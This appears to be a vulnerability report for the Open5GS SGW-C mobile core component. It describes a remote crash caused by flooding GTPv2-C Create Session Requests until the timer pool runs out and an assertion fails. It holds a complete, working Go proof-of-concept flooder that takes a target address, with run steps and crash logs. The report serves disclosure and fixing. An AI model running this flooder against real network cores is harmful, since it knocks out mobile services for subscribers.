| Description | ### CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
### Steps to reproduce
### Description
SGW-C can be remotely crashed through GTPv2-C Create Session Request flooding (with PGW F-TEID) that exhausts the global timer pool.
When a large number of CSR requests are sent to SGW-C, SGW-C proceeds with forwarding logic and creates many PFCP “local transactions” to communicate with SGW-U. Each PFCP transaction allocates timers (e.g., tm_delayed_commit) from the global timer pool. Once the timer pool is exhausted, ogs_pool_alloc() fails. Immediately after that, transaction creation hits an assertion: ogs_pfcp_xact_local_create: Assertion 'xact->tm_delayed_commit' failed (lib/pfcp/xact.c:104), causing a denial-of-service.
1. Start a new go project inside a new folder: `go mod init poc`
2. Create a `main.go` and paste the code below:
```
// Vuln-PC1-13 Varient PoC: PFCP Local Transaction Pool Exhaustion
// Target: SGW-C - ogs_pfcp_xact_local_create() assertion
// Crash Location: lib/pfcp/xact.c:104
// Assertion: ogs_assert(xact->tm_delayed_commit)
//
// Attack Strategy:
// - Send CSR WITH PGW F-TEID (triggers forwarding to PGW)
// - SGW-C creates PFCP transactions to communicate with SGW-U
// - Timer pool exhausts -> PFCP xact timer allocation fails
// - ogs_timer_add() returns NULL -> assertion fails
package main
import (
"flag"
"fmt"
"log"
"net"
"sync"
"time"
"github.com/wmnsk/go-gtp/gtpv2"
"github.com/wmnsk/go-gtp/gtpv2/ie"
"github.com/wmnsk/go-gtp/gtpv2/message"
)
var (
target = flag.String("target", "", "Target SGW-C IP (required)")
port = flag.Int("port", 2123, "GTP-C port")
pgwIP = flag.String("pgw-ip", "x.x.x.x", "PGW/SMF IP address")
count = flag.Int("count", 500, "Number of requests to send")
concurrency = flag.Int("concurrency", 50, "Number of concurrent senders")
delay = flag.Duration("delay", 1*time.Millisecond, "Delay between requests")
maxUE = flag.Int("max-ue", 1, "Number of unique IMSIs")
)
func main() {
flag.Parse()
if *target == "" {
log.Fatal("--target is required")
}
fmt.Println("==========================================================")
fmt.Println("Vuln-PC1-13 PoC: ogs_pfcp_xact_local_create Assertion")
fmt.Println("==========================================================")
fmt.Printf("[*] Target: %s:%d (SGW-C S11)\n", *target, *port)
fmt.Printf("[*] PGW IP: %s\n", *pgwIP)
fmt.Printf("[*] Crash Location: lib/pfcp/xact.c:104\n")
fmt.Printf("[*] Assertion: ogs_assert(xact->tm_delayed_commit)\n")
fmt.Println("[*] Strategy: CSR with PGW F-TEID -> PFCP to SGW-U -> pool exhaustion")
fmt.Println("----------------------------------------------------------")
addr := fmt.Sprintf("%s:%d", *target, *port)
remoteAddr, err := net.ResolveUDPAddr("udp", addr)
if err != nil {
log.Fatalf("Failed to resolve address: %v", err)
}
var wg sync.WaitGroup
requestsPerWorker := *count / *concurrency
sentCount := 0
var mu sync.Mutex
for i := 0; i < *concurrency; i++ {
wg.Add(1)
go func(workerID int) {
defer wg.Done()
conn, err := net.DialUDP("udp", nil, remoteAddr)
if err != nil {
return
}
defer conn.Close()
for j := 0; j < requestsPerWorker; j++ {
seq := uint32(workerID*10000 + j)
ueIndex := (workerID*requestsPerWorker + j) % *maxUE
msg := buildCSR(seq, ueIndex, *pgwIP)
data, _ := message.Marshal(msg)
conn.Write(data)
mu.Lock()
sentCount++
if sentCount%100 == 0 {
fmt.Printf("[*] Sent %d requests...\n", sentCount)
}
mu.Unlock()
if *delay > 0 {
time.Sleep(*delay)
}
}
}(i)
}
wg.Wait()
fmt.Println("----------------------------------------------------------")
fmt.Printf("[+] Total requests sent: %d\n", sentCount)
fmt.Println("[*] Expected crash: ogs_pfcp_xact_local_create: Assertion 'xact->tm_delayed_commit' failed")
fmt.Println("[*] Check: docker logs sgwc | grep 'pfcp_xact_local_create'")
}
func buildCSR(seq uint32, ueIndex int, pgwIP string) *message.CreateSessionRequest {
imsi := fmt.Sprintf("001010000000%03d", ueIndex)
localIP := "x.x.x.x"
mmeTEID := uint32(0x10000000 + seq)
pgwTEID := uint32(0x20000000 + seq)
senderFTEID := ie.NewFullyQualifiedTEID(
gtpv2.IFTypeS11MMEGTPC, mmeTEID, localIP, "",
)
// PGW S5/S8 F-TEID - THIS triggers SGW-C to forward to PGW (via PFCP first)
pgwFTEID := ie.NewFullyQualifiedTEID(
gtpv2.IFTypeS5S8PGWGTPC, pgwTEID, pgwIP, "",
).WithInstance(1)
ebi := uint8(5 + (seq % 11))
enbTEID := uint32(0x30000000 + seq)
enbFTEID := ie.NewFullyQualifiedTEID(
gtpv2.IFTypeS1UeNodeBGTPU, enbTEID, localIP, "",
)
bearer := ie.NewBearerContext(
ie.NewEPSBearerID(ebi),
enbFTEID,
ie.NewBearerQoS(1, 2, 1, 9, 50000, 50000, 50000, 50000),
)
apns := []string{"internet", "ims", "mms", "enterprise", "vpn", "iot", "voip", "data"}
apn := apns[int(seq)%len(apns)]
return message.NewCreateSessionRequest(
0, seq,
ie.NewIMSI(imsi),
ie.NewMSISDN("0000000000"),
ie.NewMobileEquipmentIdentity("353490061234560"),
ie.NewServingNetwork("001", "01"),
ie.NewRATType(gtpv2.RATTypeEUTRAN),
ie.NewPDNType(gtpv2.PDNTypeIPv4),
ie.NewSelectionMode(gtpv2.SelectionModeMSorNetworkProvidedAPNSubscribedVerified),
ie.NewAccessPointName(apn),
ie.NewAggregateMaximumBitRate(500000, 500000),
senderFTEID,
pgwFTEID,
bearer,
)
}
```
3. Download required libraries: `go mod tidy`
4. Run the program with the SGW-C address: `go run ./main.go --target x.x.x.x`
### Logs
```shell
01/07 08:01:03.127: [event] FATAL: ogs_pool_alloc() failed (../lib/core/ogs-timer.c:84)
01/07 08:01:03.127: [pfcp] FATAL: ogs_pfcp_xact_local_create: Assertion `xact->tm_delayed_commit' failed. (../lib/pfcp/xact.c:104)
01/07 08:01:03.127: [core] FATAL: backtrace() returned 10 addresses (../lib/core/ogs-abort.c:37)
/usr/local/lib/libogspfcp.so.2(ogs_pfcp_xact_local_create+0x4db) [0x7bb4faeb69c7]
open5gs-sgwcd(+0x110af) [0x620c7c9c00af]
open5gs-sgwcd(+0x17c1d) [0x620c7c9c6c1d]
open5gs-sgwcd(+0x14f0c) [0x620c7c9c3f0c]
/usr/local/lib/libogscore.so.2(ogs_fsm_dispatch+0x119) [0x7bb4fadc943f]
open5gs-sgwcd(+0x639a) [0x620c7c9b539a]
/usr/local/lib/libogscore.so.2(+0x119a3) [0x7bb4fadb99a3]
/lib/x86_64-linux-gnu/libc.so.6(+0x94ac3) [0x7bb4fabeeac3]
/lib/x86_64-linux-gnu/libc.so.6(clone+0x44) [0x7bb4fac7fa74]
/usr/local/bin/entrypoint.sh: line 8: 8 Aborted (core dumped) open5gs-sgwcd "${@}"
```
### Expected behaviour
When the timer pool is exhausted, SGW-C should gracefully reject/drop new PFCP transactions:
return an error response if applicable, or silently drop with warning/logging
avoid assertions and keep the process alive (no crash)
### Observed Behaviour
When SGW-C receives a burst of GTPv2-C Create Session Requests (with PGW F-TEID), it triggers:
ogs_pool_alloc() failure during timer allocation (../lib/core/ogs-timer.c:84)
ogs_assert(xact->tm_delayed_commit) in ogs_pfcp_xact_local_create (../lib/pfcp/xact.c:104), causing DoS/crash
### eNodeB/gNodeB
No
### UE Models and versions
No |
|---|